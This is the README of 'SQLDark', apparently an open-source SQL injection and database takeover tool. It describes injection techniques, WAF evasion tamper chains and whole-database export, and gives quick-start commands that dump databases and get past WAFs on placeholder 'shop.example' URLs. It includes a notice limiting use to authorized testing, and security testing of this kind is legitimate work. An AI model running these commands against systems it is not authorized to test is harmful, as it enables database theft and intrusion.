SQLDark

Advanced SQL injection & database takeover framework
A fast, modular, terminal-only alternative to sqlmap — built for Termux & Linux.

Why SQLDark

• Every injection family: error-based, boolean-blind, UNION, time-blind, and stacked queries.
• Three extraction engines: UNION oracle (fast), error-based leak (MySQL / MSSQL / PostgreSQL / Oracle), and character-by-character boolean-blind with per-DBMS primitives.
• 16 database engines recognised, with a payload library of 8,900+ vectors split per DBMS / technique / boundary.
• WAF-aware: 100+ WAF/IPS signatures (incl. PHPIDS) and automatic tamper-chain selection to get through them.
• 41 tamper scripts for evasion, chainable in any order.
• Sessions ("sezon"): save a scan, resume it later, or delete it.
• Database export: dump one table or the whole database and archive it to a zip named after the site.
• Terminal only. No GUI, no TUI. Just the command line.

Install

pip install sqldark

From source:

git clone https://github.com/<user>/sqldark
cd sqldark && pip install -e .

Quick start

# Detect everything on a parameter
sqldark -u "https://shop.example/product?id=1"

# Fingerprint + dump the whole database, save a session, export to zip
sqldark -u "https://shop.example/product?id=1" --banner --current-db --dump-all --session shop --export

# No parameter? SQLDark crawls the site and finds one
sqldark -u "https://shop.example/"

# Get through a WAF automatically
sqldark -u "https://shop.example/item?id=1" --auto-tamper --level 3

# Pick your own tamper chain
sqldark -u "https://shop.example/item?id=1" --tamper space2comment,randomcase,charencode

Command groups

Run sqldark --help for the full, described list.

Sessions & export

sqldark -u "https://shop.example/item?id=1" --dump-all --session shop --export
sqldark --list-sessions
sqldark --delete-session shop

Exports land in ./.sqldark/database/<host>/<name>.zip — one CSV per table (original names kept) plus a manifest.json.

Legal

SQLDark is for authorized security testing and education only. Use it only against systems you own or have explicit written permission to test. You are responsible for how you use it.

License

MIT © Muhammed Balin